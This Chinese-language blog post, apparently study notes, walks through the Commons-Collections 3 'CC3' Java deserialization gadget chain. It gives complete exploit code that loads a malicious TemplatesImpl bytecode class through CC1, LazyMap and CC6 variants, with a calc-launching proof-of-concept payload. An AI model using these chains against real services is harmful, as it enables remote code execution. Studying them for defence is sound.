Java_Commons-Collections 3 学习过程

原本的 CC1 链与 CC6 链是通过 Runtime.exec() 进行命令执行的。而很多时候服务器的代码当中的黑名单会选择禁用 Runtime

而 CC3 则是通过动态加载类加载机制来实现自动执行恶意类代码的。

环境配置

  • jdk8u65

  • Commons-Collections 3.2.1

前置知识

CC3主要运用到的就是类的动态加载知识,可以说就是把CC1和CC6后面执行命令那一块换掉

这次利用 ClassLoader#defineClass 直接加载字节码的手段。

关于类的动态加载这位师傅写的很详细了 Java反序列化基础篇-05-类的动态加载

这里就把主要利用的defineClass再拿出来一下

主要的调用流程就是

A(ClassLoader#loadclass)->B(ClassLoader#findClass)->C(ClassLoader#defineClass)

这里我们可以正向看,首先是 loadClass(),它的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass()

对于 findClass() 方法

  • 根据名称或位置(本地文件系统、jar 包或远程 http 服务器上读取字节码)加载 .class 字节码,然后使用 defineClass,代码实例如下。

  • 通常由子类去实现

image-20240408201404831

defineClass() 的作用是处理前面传入的字节码,将其处理成真正的 Java 类。

此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。CC3中就会构造出defineClass加载的恶意类的字节码进行初始化的一个过程

image-20240408202530604

name为类名,b为字节码数组,off为偏移量,len为字节码数组的长度。

因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用 defineClass() 方法进行字节码的加载,然后实例化之后执行命令

编写个小demo试试

package CC3;
​
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
​
public class Test {
    public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\CalcTest.class")); // 字节码的数组
        Class c = (Class) method.invoke(classLoader, "CalcTest", code, 0, code.length);
        c.newInstance();//初始化类
    }
}
​

恶意类代码是这个

import java.io.IOException;
​
public class CalcTest {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e){
            e.printStackTrace();
        }
    }
}

编译一下(不要用太高版本的java编译)

image-20240409164108085

梳理链子

TemplatesImpl类

可以看到defineClass是protected型的我们需要找到public的类来利用

image-20240409164645407

通过查找方法可以找到TemplatesImpl类

image-20240409165504452

defineClass

这里的defineClass没有标明方法没有标注作用域,默认为 defalut,也就是说自己的类里面可以调用,我们继续 find usages

image-20240409165758582

defineTransletClasses

这个defineTransletClasses类调用了

image-20240409165700624

但是作用域是private还要继续找

找到三个在发现最后一个很符合的我们的要求

image-20240409170021272

getTransletInstance()

还是同一个类下的 getTransletInstance() 方法调用了 defineTransletClasses() 方法,并且这里有一个 newInstance() 实例化的过程,如果能走完这个函数那么就能动态执行代码,但是因为它是私有的,所以需要继续找。

image-20240409170108586

一点疑惑

在这里好奇了很久这个_class[_transletIndex].newInstance()是在实例化谁初始化什么,其实在后面链子写完或者直接打个断点,看defineTransletClasses()是在处理什么的时候就可以知道,这里是在对definClass加载器加载我们构造的恶意类字节码后(这个时候只是进行类的加载没有执行),在这里进行类的实例化后才能执行

image-20240409170711641

可以看到就是在将恶意类的字节码转换为类存储在数组中

newTransformer

继续找到newTransformer()是public

image-20240409171043930

构造EXP

image-20240409172217974

路线就是这样现在就是满足里面内置的条件来让链子通顺

解决条件问题

从后往前看

image-20240409173444221

这里按照我们的需求需要让_name != null_class == null

image-20240409173758408

_bytecodes不能为null(肯定不为null因为这是我们传进来的恶意类的字节码),_tfactory调用方法了也不能为null

下面是这个类这些属性的定义

image-20240409173702594

其中大部分属性什么null和不null的反射改一下就好比如随便给_name反射赋个值就好

主要是_bytecodes_tfactory

_bytecodes

可以看到_bytecodes被定义为二维数组了但是我们最后defineClass 方法的值是一个一维数组

注:恶意类的编辑直接编写静态代码块就可以了,因为在类初始化的时候会自动执行代码。在结尾处解释一下

所以就可以这样

  byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
  byte[][] codes = {evil};

_tfactory

_tfactory 的值在 TemplatesImpl 这一类中被定义如下,关键字是 transient,这就导致了这个变量在序列化之后无法被访问。

image-20240409194421901

所以这里直接修改是不行的,但是好在我们这里对它的要求不高,ctrl+左键就定位到它在readObject中的定义了

image-20240409200356408

image-20240409200423638

可以看到在反序列化的时候是会给这个参数赋值的

但是我们这里要使用这个参数

所以我们这里可以通过反射随便给它赋值,因为无论我们赋什么值,这里在反序列化的时候的值是不会改变的

然后我们这里为了方便直接赋值new TransformerFactoryImpl,因为我们利用链到这里还不会进行反序列化,所以我们这里先赋值给它。

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
tfactoryField.setAccessible(true);  
tfactoryField.set(templates, new TransformerFactoryImpl());

到这就可以写出我们以为满足全部条件的理想Exp了

package CC3;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
​
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
​
public class Test {
    public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
​
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\CalcTest.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        templates.newTransformer();
​
    }
}
​

tnnd为什么不弹

空指针报错

image-20240409204303501

看看422行

image-20240409211001051

418 行,判断在 defineClass() 方法中传进去的参数 b 数组的字节码是否继承了 ABSTRACT_TRANSLET 这个父类,如果没有则抛出异常,所以我们需要去恶意类中继承 ABSTRACT_TRANSLET 这个父类。

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
​
public class Calc extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
​
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
​
    }
​
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
​
    }
}

(用低版本java我是用java8好像才能编译整不明白,或许就是版本不匹配的原因)

与CC1和CC6链子的结合

image-20240412150751935

TemplatesImpl 只是将原本的命令执行变成代码执行的方式所以在不考虑黑名单的情况下,如果可以进行命令执行,则一定可以通过动态加载字节码进行代码执行。

就是改变了下执行我们想要的目的的路线

所以就将Runtime那点换掉就行

CC1

package CC3;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
​
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
​
public class CC1TemplatesImplExp
{
    public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException, NoSuchFieldException {
//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(Runtime.class),
//                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
//                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
//        };
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object,Object> map = new HashMap<>();
        map.put("value","nbc");
        Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class, decorateTransformed);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
​

LazyMap

package CC3;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
​
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
​
public class LazyMapCC1TempExp {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
​
        Class Ann = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = Ann.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        //创建第一个来触发LazyMap.get
        InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
        //给它设置动态代理
        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler1);
        //用来触发invoke
        InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
​
        serialize(invocationHandler2);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

CC6

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6TempExp {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);

        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("suibian"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc1");
        HashMap finHash = new HashMap<>();
        finHash.put(tiedMapEntry,"nbc2");
        hashMap.remove("nbc1");
        Class lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);
        serialize(finHash);
        unserialize("ser6.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser6.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

CC3链子的继续分析

因为只需要调用 TemplatesImpl 类的 newTransformer() 方法,便可以进行命令执行,所以我们去到 newTransformer() 方法下查找用法

找到了一个合适的类TrAXFilter

image-20240412151912070

我们只需要这个类的构造函数就能达到我们想要的目的,但是这个类没法被序列化

CC3 这里的作者调用了一个新的类 InstantiateTransformer

InstantiateTransformer 这个类是用来初始化 Transformer 的,我们去找 InstantiateTransformer 类下的 transform 方法,完美契合我们的需求

image-20240412152156922

只要Class不为空就会获取其指定的构造器并且调用构造函数

image-20240412152411830

Exp

package CC3;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;
​
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
​
public class Test {
    public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
​
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);
​
    }
}
​

然后就是老样子找入口类从transform开始,听起来就能用CC1和CC6

CC1Exp
package CC3;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
​
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
​
public class CC1Exp {
public static void main(String[] args) throws Exception
        {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //    templates.newTransformer();
​
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
        new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
        instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
​
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
​
        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
        , new Class[]{Map.class}, invocationHandler);
        Object o = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
​
        serialize(o);
        unserialize("ser.bin");
        }
​
public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        }
​
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
        }
        }
CC6Exp
package CC3;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
​
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
​
// 用 CC6 链的前半部分链子  
public class CC6Exp {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"nbc");
​
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("S:\\JavaSecureDemo\\CC\\Calc.class"));
        byte[][] codes = {evil};
        bytecodesField.set(templates,codes);
​
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        //    templates.newTransformer();
​
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
                new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数  
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "nbc1");
        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "nbc2");
        lazyMap.remove("nbc1");
​
        // 在 put 之后通过反射修改值
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);
​
        serialize(expMap);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

参考文章

Java反序列化Commons-Collections篇04-CC3链